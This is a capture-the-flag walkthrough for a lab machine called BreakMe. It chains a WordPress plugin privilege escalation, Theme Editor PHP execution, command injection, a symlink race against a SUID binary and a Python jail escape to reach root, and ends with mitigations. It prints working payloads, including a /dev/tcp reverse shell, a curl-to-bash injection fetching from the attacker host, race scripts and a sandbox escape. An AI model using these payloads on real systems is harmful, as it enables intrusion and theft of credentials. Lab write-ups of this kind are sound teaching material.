Summary
BreakMe is a Debian box running Apache with a WordPress install under /wordpress. A vulnerable
plugin (WP Data Access 5.3.5) lets a low-privileged WordPress user escalate to Administrator by
tampering with a profile-update request. From there, the WordPress Theme Editor gives arbitrary
PHP execution, landing a www-data shell. An internal-only web service on port 9999 turns out to
be vulnerable to OS command injection, pivoting to the user john. From john, a TOCTOU race
condition against a SUID binary owned by youcef leaks youcef's SSH private key, which is
then cracked offline to get a shell as youcef. Finally, a restricted sudo rule lets youcef
run a Python "jail" script as root, which is escaped using str.swapcase() to defeat a
keyword blacklist, giving a full root shell. Full attack chain is diagrammed at the end.
Recon
nmap -A -Pn <TARGET_IP> -o nmap
Two open ports:
| Port | Service | Version |
|---|---|---|
| 22 | ssh | OpenSSH 8.4p1 Debian 5+deb11u1 |
| 80 | http | Apache 2.4.56 (Debian) |
The root of the web server just serves the default "Apache2 Debian Default Page". Content
discovery was needed to find anything interesting.
dirsearch -u http://<TARGET_IP>/ -C 403,404
ffuf -u http://<TARGET_IP>/ -H "HOST: FUZZ.<TARGET_IP>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
ffuf -u http://<TARGET_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
feroxbuster -u http://<TARGET_IP>/
ffuf/feroxbuster against big.txt turned up two directories of interest:
manual [Status: 301, Size: 313, ...]
wordpress [Status: 301, Size: 316, ...]
/manual/ is just the stock Apache manual (noise). /wordpress/ is the real target - a live
WordPress site called "Breakme".
Enumeration - WordPress
Fetching /wordpress/ shows a WordPress site using the Twenty Twenty-Four theme, generator
tag confirming WordPress 6.4.3, and a plugin reference to wp-data-access in the page source.
wpscan was used to enumerate plugins, users, and versions:
wpscan --url http://<TARGET_IP>/wordpress/ --api-token <TOKEN> -e vp,vt,u
Key findings:
- WordPress 6.4.3 - outdated, several disclosed vulnerabilities.
- Plugin WP Data Access, version 5.3.5 - badly outdated (latest at the time was 5.5.80), with multiple known CVEs including an unauthenticated SQL injection and, critically, a privilege escalation bug (CVE-2023-1874, fixed in 5.3.8).
- Users enumerated via REST API / author brute force: admin, bob.
A password attack against wp-login with the two known usernames found valid credentials:
wpscan --url http://<TARGET_IP>/wordpress/ -U admin,bob -P /usr/share/wordlists/rockyou.txt
[SUCCESS] - bob / soccer
Initial Foothold - Privilege Escalation to WordPress Administrator
Logging in as bob (bob / soccer) lands on a normal Subscriber/Author-level dashboard - not an
admin. The outdated WP Data Access plugin is known to be vulnerable to a privilege escalation
issue, documented by Wordfence:
Privilege Escalation Vulnerability Patched Promptly in WP Data Access WordPress Plugin.
The plugin adds an extra parameter, wpda_role[], to the profile-update form that isn't properly
authorized server-side.
The exploitation is simple request tampering:
- Go to
Profilein the WordPress admin dashboard asbob. - Intercept the
POST /wordpress/wp-admin/profile.phprequest in Burp Suite when clicking "Update Profile". - Append
&wpda_role[]=administratorto the POST body. - Forward the request, refresh the dashboard.
bob is now listed as an Administrator alongside admin.
Note: getting a value wrong here can lock you out of the dashboard entirely, requiring a
machine restart - worth being careful and double-checking the request before forwarding.
Remote Code Execution - Theme Editor
With Administrator access, the built-in Theme File Editor (Appearance > Theme File Editor /
Tools > Theme File Editor) allows editing arbitrary PHP files inside any installed theme. This
is a well-documented WordPress admin-panel-to-RCE technique, covered by HackTricks:
WordPress - Panel RCE.
Steps:
- Select a theme that isn't the active one and has a template with a
.phpextension - in this case, Twenty Twenty-One has404.php. - Paste a PHP reverse shell (pentestmonkey's classic payload, grabbed from revshells.com) into
404.phpand click "Update File". - Trigger the payload by requesting the file directly:
http://<TARGET_IP>/wordpress/wp-content/themes/twentytwentyone/404.php
Caught the callback with penelope:
penelope -p 4444 listen
[+] [New Reverse Shell] => Breakme <TARGET_IP> Linux-x86_64 👤 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
www-data@Breakme:/$ whoami
www-data
www-data@Breakme:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation Recon as www-data
www-data@Breakme:/$ ls /home
john lost+found youcef
www-data@Breakme:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash
Both john and youcef's home directories, and john's flag (user1.txt), are permission-denied
from www-data. Checking listening services:
www-data@Breakme:/$ ss -tulnp
tcp LISTEN 127.0.0.1:3306 # MySQL, local only
tcp LISTEN 127.0.0.1:9999 # interesting - internal only
tcp LISTEN 0.0.0.0:22
tcp LISTEN *:80
Port 9999 is only bound to loopback, so it's not reachable from outside - but www-data can
reach it locally:
www-data@Breakme:/$ curl http://localhost:9999/
<html>
<head>
<title>Test</title>
<style>
.checkTarget{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
left:calc(2.5%); border:3px solid green; border-radius:5%;
background-color:rgb(180,220,180); text-align:center; }
.checkUser{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
left:calc(35%); border:3px solid green; border-radius:5%;
background-color:rgb(180,220,180); text-align:center; }
.checkFile{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
left:calc(67.5%); border:3px solid green; border-radius:5%;
background-color:rgb(180,220,180); text-align:center; }
body{ background-color:rgb(200,200,200); }
</style>
</head>
<body>
<h1 style="color:rgb(50,100,50);">My Tools:</h1>
<!--Only numerical IPs allowed -->
<div class="container">
<form class="checkTarget" method="POST">
<h3>Check Target:</h3>
<input name="cmd1" type="text" placeholder="Target IP" />
<input type="submit" value="Run" />
<h3>Result:</h3><div class="output"><pre></pre></div>
</form>
<form class="checkUser" method="POST">
<h3>Check User:</h3>
<input name="cmd2" type="text" placeholder="User name" />
<input type="submit" value="Run" />
<h3>Result:</h3><div class="output"><pre></pre></div>
</form>
<form class="checkFile" method="POST">
<h3>Check File:</h3>
<input name="cmd3" type="text" placeholder="File name" />
<input type="submit" value="Run" />
<h3>Result:</h3><div class="output"><pre></pre></div>
</form>
</div>
</body>
</html>
A small internal admin tool ("My Tools") with three POST forms:
-
cmd1- "Check Target" (takes an IP) -
cmd2- "Check User" (takes a username) -
cmd3- "Check File" (takes a filename)
Command Injection on the Internal "My Tools" App
Testing cmd1 with a real IP confirms it runs a genuine ping:
www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ --data 'cmd1=<ATTACKER_IP>'
Confirmed with tcpdump on the attacker box - real ICMP traffic arrives:
tcpdump -i tun0 icmp
09:07:56 IP <TARGET_IP> > <ATTACKER_IP>: ICMP echo request, id 20588, seq 1
09:07:56 IP <ATTACKER_IP> > <TARGET_IP>: ICMP echo reply, id 20588, seq 1
Probing cmd2/cmd3 for the filter
cmd1 turned out to be locked down tightly to digits and dots - a dead end for injection. cmd2
and cmd3 echo back "not found" style messages, so each probe was tried and the reflected output
inspected to work out what characters/substrings survive the filter:
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=$(id)'
...
<pre>User $id not found</pre>
$(...) command substitution was stripped down to a bare $id - the parentheses got filtered out,
so that syntax was a dead end.
www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ --data 'cmd2=|'
...
<pre>User | not found</pre>
A bare pipe character survives untouched - meaning | isn't in the denylist.
www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ \
--data-urlencode 'cmd2=!@#$%^&*()_+={}[]:;'"'"'"<>,?/\'
...
<pre>User ${}:/ not found</pre>
Throwing a wall of special characters at it and seeing what comes back shows exactly which
characters pass the filter unmodified: $, {, }, :, / all survived; everything else
(!@#%^&*()+=[];'"<>,?\) was stripped.
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping${IFS}localhost'
...
<pre>User |ping${IFS}localhost not found</pre>
${IFS} (used as a space substitute to dodge a naive space filter) survives completely intact.
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping$(IFS)localhost'
...
<pre>User |ping$IFSlocalhost not found</pre>
For comparison, $(IFS) gets its parentheses stripped just like $(id) did earlier - confirming
parentheses specifically are filtered, while {/} are not.
Putting it together: a leading pipe, followed by a command using ${IFS} in place of spaces,
survives completely intact:
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping${IFS}<ATTACKER_IP>'
Confirmed again via tcpdump - real ICMP traffic from the target. This is a working OS command
injection in the cmd2 parameter.
Once a shell was landed (see below), the app's actual source turned up at ~/internal/index.php,
confirming exactly what was inferred by probing:
function run($command,$value){
if($command=="cmd1"){
if(isvalidip($value)&&!preg_match("/[^0-9.]/",$value)){
$output=shell_exec("ping -c 2 $value >/dev/null 2>&1 &");
echo htmlspecialchars($output);
}else{ echo "Invalid IP address"; }
}
else if($command=="cmd2"){
$val=preg_replace("/[^a-zA-Z0-9\|\$\{\}\/\:.]/","",$value);
$output=shell_exec("id $val >/dev/null 2>&1 &");
...
}
else{
if(!preg_match("/[^a-zA-Z]/",$value)){
$output=shell_exec("find /opt -name \"$value\" 2>/dev/null");
...
}else{ echo "Invalid Filename"; }
}
}
cmd2's filter, [^a-zA-Z0-9\|\$\{\}\/\:.], is a denylist regex that strips everything except
letters, digits, and the specific characters | $ { } / : . - exactly matching what the probing
found, and exactly the characters needed to build a working shell command using | and ${IFS}.
Getting a shell
Hosted a one-line reverse shell script and a python3 -m http.server on the attacker box, then
pulled and executed it through the injection:
# attacker
cat > shell.sh << 'EOF'
/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/3333 0>&1
EOF
python3 -m http.server 80
# via injection
curl -X POST http://localhost:9999/ --data 'cmd2=|curl${IFS}http://<ATTACKER_IP>/shell.sh${IFS}|${IFS}bash'
penelope -p 3333 listen
[+] [New Reverse Shell] => Breakme <TARGET_IP> Linux-x86_64 👤 john(1002) Session ID <1>
john@Breakme:~/internal$ whoami
john
john@Breakme:~/internal$ id
uid=1002(john) gid=1002(john) groups=1002(john)
john@Breakme:~/internal$ cat /home/john/user1.txt
[REDACTED]
The internal service turned out to run as john, so the command injection landed a shell as that
user directly - the first flag along with it.
Privilege Escalation to youcef - TOCTOU Race Condition
youcef's home directory contains a SUID binary, readfile, and its source:
john@Breakme:/home/youcef$ ls -la
-rwsr-sr-x 1 youcef youcef 17176 Aug 2 2023 readfile
-rw------- 1 youcef youcef 1026 Aug 2 2023 readfile.c
drwx------ 2 youcef youcef 4096 Aug 5 2023 .ssh
john@Breakme:/home/youcef$ cat readfile.c
cat: readfile.c: Permission denied
readfile.c isn't readable as john - only the compiled, SUID-set readfile binary is. Rather
than fly blind, the binary was pulled across to the attacker box and reverse engineered.
Reverse engineering the binary
john@Breakme:/home/youcef$ python3 -m http.server 80
PermissionError: [Errno 13] Permission denied
john@Breakme:/home/youcef$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Port 80 needs root to bind, so 8000 was used instead. readfile.c was also requested on the off
chance it was somehow servable - it wasn't (404, as expected given the permissions above):
# attacker
wget http://<TARGET_IP>:8000/readfile
wget http://<TARGET_IP>:8000/readfile.c
--2026-08-07 09:35:12-- http://<TARGET_IP>:8000/readfile.c
HTTP request sent, awaiting response... 404 File not found
root@kali:~# file readfile
readfile: ELF 64-bit LSB pie executable, x86-64, ... dynamically linked, ... not stripped
root@kali:~# strings readfile
...
Usage: ./readfile <FILE>
File Not Found
You can't run this program
flag
id_rsa
Nice try!
I guess you won!
readfile.c
fd >= 0 && "Failed to open the file"
...
puts@GLIBC_2.2.5 write@GLIBC_2.2.5 __lxstat@GLIBC_2.2.5 getuid@GLIBC_2.2.5
__assert_fail@GLIBC_2.2.5 read@GLIBC_2.2.5 open@GLIBC_2.2.5 access@GLIBC_2.2.5
strstr@GLIBC_2.2.5 usleep@GLIBC_2.2.5
Not stripped, so objdump -d -Mintel readfile shows readable, named function calls in main. The
logical flow that falls out of it:
-
access(argv[1], F_OK)- the file must exist, else"File Not Found". -
getuid()compared against0x3ea(1002 in decimal, i.e.john's UID) - if the caller isn'tjohn,"You can't run this program". -
strstr(argv[1], "flag")andstrstr(argv[1], "id_rsa")- the filename is checked for those substrings. -
__lstat(i.e.lstat()) on the path, then a bitmask check againstS_IFMT/S_IFLNK(0xa000) - a symlink check. -
access(argv[1], R_OK)- a readability check. - If any of the flag/id_rsa/symlink/unreadable checks trip,
"Nice try!". Otherwise"I guess you won!", thenopen()+read()/write()loop to dump the file to stdout.
The interesting part reverse engineering surfaced: lstat() (step 4) and open() (step 6) are
two separate syscalls against the same path, with usleep() in between - a classic TOCTOU gap.
This was confirmed for certain once the actual source was read later as youcef:
int main(int argc, char **argv, char **envp) {
...
}else if(getuid()!=1002){
puts("You can't run this program");
return 1;
}
char *flag = strstr(argv[1], "flag");
char *id_rsa = strstr(argv[1], "id_rsa");
lstat(argv[1], &lstat_buf);
int symlink_check = (S_ISLNK(lstat_buf.st_mode));
int res = access(argv[1], R_OK);
usleep(0.8);
if (flag || symlink_check || res==-1 || id_rsa) {
puts("Nice try!");
return 1;
} else {
puts("I guess you won!\n");
int fd = open(argv[1], 0);
...
}
}
Confirms the reverse-engineered logic exactly: lstat() decides whether the path is a symlink,
but open() re-resolves the path from scratch afterward. If the path is swapped from a regular
file to a symlink pointing at /home/youcef/.ssh/id_rsa in the gap between those two calls, the
symlink check passes (it saw a regular file) while open() follows the now-symlinked path and
reads id_rsa anyway - bypassing the id_rsa filename check and the symlink check together,
since neither is re-evaluated at open time.
Sanity-checked the binary directly before building an exploit:
john@Breakme:/home/youcef$ ./readfile readfile.c
Nice try!
john@Breakme:/home/youcef$ ./readfile /root/root.txt
File Not Found
readfile.c trips the symlink/unreadable checks as expected (it's not directly relevant here, but
confirms the checks fire), and /root/root.txt simply isn't accessible - as expected, since this
binary is scoped to youcef's files, not root's.
Building the race - and the mistakes along the way
First attempt at writing the flip script used the wrong heredoc redirection and immediately failed:
john@Breakme:~/race$ cat > flip.sh < 'EOF'
bash: EOF: No such file or directory
< reads from EOF as a file rather than starting a heredoc. Second attempt used >> instead of
<<, which meant the terminal just echoed the pasted script content back as if it were being
typed live, rather than capturing it into the heredoc:
john@Breakme:~/race$ cat > flip.sh >> 'EOF'
#!/bin/bash
...
EOF
^C
Had to Ctrl-C out of that. The correct form, << with a quoted delimiter, finally worked for both
scripts:
# flip.sh
TARGET="/home/youcef/.ssh/id_rsa"
touch real_loot && chmod 644 real_loot
ln -sf "$TARGET" link_loot
while true; do
mv -T link_loot loot
ln -sf "$TARGET" link_loot
mv -T real_loot loot
: > real_loot; chmod 644 real_loot
done
# race.sh
i=0
while true; do
out=$(/home/youcef/readfile loot 2>/dev/null)
i=$((i+1))
if [[ "$out" == *"PRIVATE KEY"* ]]; then
echo "$out"
echo "[+] Won after $i attempts"
break
fi
done
Running them immediately after failed too - forgot the executable bit, and the earlier botched
>> attempt had also left a stray file named EOF sitting in the directory:
john@Breakme:~/race$ ./flip.sh &
./race.sh
bash: ./race.sh: Permission denied
bash: ./flip.sh: Permission denied
[1]+ Exit 126 ./flip.sh
john@Breakme:~/race$ ls -la
-rw-r--r-- 1 john john 318 Aug 7 09:57 EOF
-rw-r--r-- 1 john john 314 Aug 7 09:57 flip.sh
-rw-r--r-- 1 john john 208 Aug 7 09:57 race.sh
john@Breakme:~/race$ chmod +x flip.sh race.sh
john@Breakme:~/race$ rm EOF
With that cleaned up, the race finally ran properly:
john@Breakme:~/race$ ./flip.sh &
./race.sh
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
I guess you won!
[+] Won after 71 attempts
71 attempts to win the race - fast enough in practice. All three earlier mistakes (wrong redirect,
wrong heredoc operator, missing exec bit) are what actually led to landing on this careful
two-script setup rather than a single-shot attempt - each failure narrowed down exactly what the
race needed to work reliably.
Cracking and using the key
The leaked key is passphrase-protected. First instinct was to just try it directly:
john@Breakme:~/race$ ssh -i /home/john/id_rsa_youcef youcef@localhost
Enter passphrase for key '/home/john/id_rsa_youcef':
No passphrase known yet, so that stalled - needed to crack it offline first. ssh2john.py wasn't
where expected on this box, so it took a couple of tries to locate:
john@Breakme:~/race$ python3 /usr/share/john/ssh2john.py /home/john/id_rsa_youcef > id_rsa_youcef.hash
python3: can't open file '/usr/share/john/ssh2john.py': [Errno 2] No such file or directory
# attacker - same problem there
root@kali:~# python3 /usr/share/john/ssh2john.py /home/john/id_rsa_youcef > yousef.hash
python3: can't open file '/usr/share/john/ssh2john.py': [Errno 2] No such file or directory
root@kali:~# which john
/usr/local/bin/john
root@kali:~# python3 /usr/local/bin/john/ssh2john.py /home/john/id_rsa_youcef > yousef.hash
python3: can't open file '/usr/local/bin/john/ssh2john.py': [Errno 20] Not a directory
root@kali:~# locate ssh2john
/opt/john-bleeding/run/ssh2john.py
With the right path found, generating the hash and cracking with rockyou.txt worked:
root@kali:~# python3 /opt/john-bleeding/run/ssh2john.py yousef > yousef.hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt yousef.hash
a123456 (yousef)
1g 0:00:00:18 DONE
With the key and cracked passphrase, SSH in as youcef:
ssh -i /home/john/id_rsa_youcef youcef@localhost
Enter passphrase for key '...': a123456
youcef@Breakme:~$ whoami
youcef
youcef@Breakme:~$ cat .ssh/user2.txt
[REDACTED]
Privilege Escalation to root - Python Jail Escape
youcef@Breakme:~$ sudo -l
User youcef may run the following commands on breakme:
(root) NOPASSWD: /usr/bin/python3 /root/jail.py
youcef can run a Python script as root with no password. Running it drops into an interactive
"jail":
youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
Welcome to Python jail
Will you stay locked forever
Or will you BreakMe
>> import os
Illegal Input
The script exec()s user input after filtering it against a blacklist of substrings -
import, os, system, exec, eval, open, subprocess, builtins, __import__, etc.
Direct references to any of these are rejected outright.
Probing showed globals(), locals(), dir(), and attribute access via __dict__ all worked,
since none of those literal strings are blacklisted:
>> print(__builtins__.__dict__)
{... '__import__': <built-in function __import__>, ... }
So __import__ and os/system exist and are reachable - they just can't be typed literally.
The bypass: Python strings have a .swapcase() method, so a blacklisted word can be written in
the opposite case and flipped back to the correct case at runtime, never appearing as the literal
blacklisted substring in the source the filter sees:
>> print('SYSTEM'.swapcase())
system
>> print(__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('ID'.swapcase()))
uid=0(root) gid=0(root) groups=0(root)
os.system() executing as root, confirmed by id. From there, spawning an interactive shell:
>> print(__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('/BIN/BASH'.swapcase()))
root@Breakme:/home/youcef# whoami
root
root@Breakme:/home/youcef# id
uid=0(root) gid=0(root) groups=0(root)
root@Breakme:~# cat .root.txt
[REDACTED]
Root.
Key Vulnerabilities
| # | Vulnerability | Component |
|---|---|---|
| 1 | Weak WordPress user password (bob / soccer), reachable via password-attack |
WordPress login |
| 2 | Privilege escalation via unauthenticated parameter injection (wpda_role[]) on profile update |
WP Data Access plugin 5.3.5 (CVE-2023-1874) |
| 3 | Arbitrary PHP write/execute via built-in Theme File Editor | WordPress core (by-design admin feature, abused post-privesc) |
| 4 | OS command injection via a denylist regex (`[^a-zA-Z0-9\ | \${}\/:.]) that still allows \ |
| 5 | TOCTOU race condition between {% raw %}lstat() symlink check and open()
|
SUID readfile binary |
| 6 | Blacklist-based sandbox using substring matching, bypassable with str.swapcase()
|
/root/jail.py, invoked via passwordless sudo
|
Mitigations
- Patch WordPress and all plugins. WP Data Access 5.3.5 is years out of date and has a disclosed, trivially exploitable privilege escalation bug - upgrading past 5.3.8 closes it.
-
Enforce strong, unique passwords for WordPress accounts and rate-limit/lock out
wp-login.phpto prevent password-attack tools like wpscan from succeeding. -
Disable the Theme/Plugin File Editor in
wp-config.php(define('DISALLOW_FILE_EDIT', true);) so that even a compromised admin account can't reach arbitrary PHP execution through the dashboard. -
Never trust client-supplied input passed to shell commands. The port-9999 tool's
cmd2handler uses a denylist regex that still permits|,$,{, and}- exactly the characters needed to inject a command. A safe fix would useescapeshellarg()/escapeshellcmd()correctly or, better, avoidshell_exec()entirely in favor of an allowlist of known-safe values (e.g., only real system usernames looked up viagetent). -
Avoid TOCTOU patterns entirely - check-then-use races on the filesystem can rarely be fixed
by adding more checks. Open the file first (e.g., with
O_NOFOLLOW), thenfstat()the resulting file descriptor to validate it, rather than statting a path and later opening that same path by name. -
Don't roll your own Python sandbox with a keyword blacklist. String-level filtering can
always be defeated with case games, encodings, or attribute access tricks. If code execution
as root is required, it shouldn't be reachable via
sudoat all; if a sandboxed script is genuinely needed, use an actual isolation mechanism (containers, restricted subprocess with a minimal environment, seccomp, etc.) rather than string matching againstexec()'d input.
Attack Chain
Weak creds (bob/soccer)
|--> WP Data Access parameter-tampering privesc -> Administrator
|--> Theme Editor RCE (404.php reverse shell) -> www-data
|--> Command injection on internal port-9999 service -> john
|--> TOCTOU race vs SUID readfile -> leak youcef's id_rsa
|--> Offline passphrase crack (rockyou) -> youcef
|--> sudo Python jail escape (swapcase bypass) -> root
Top comments (0)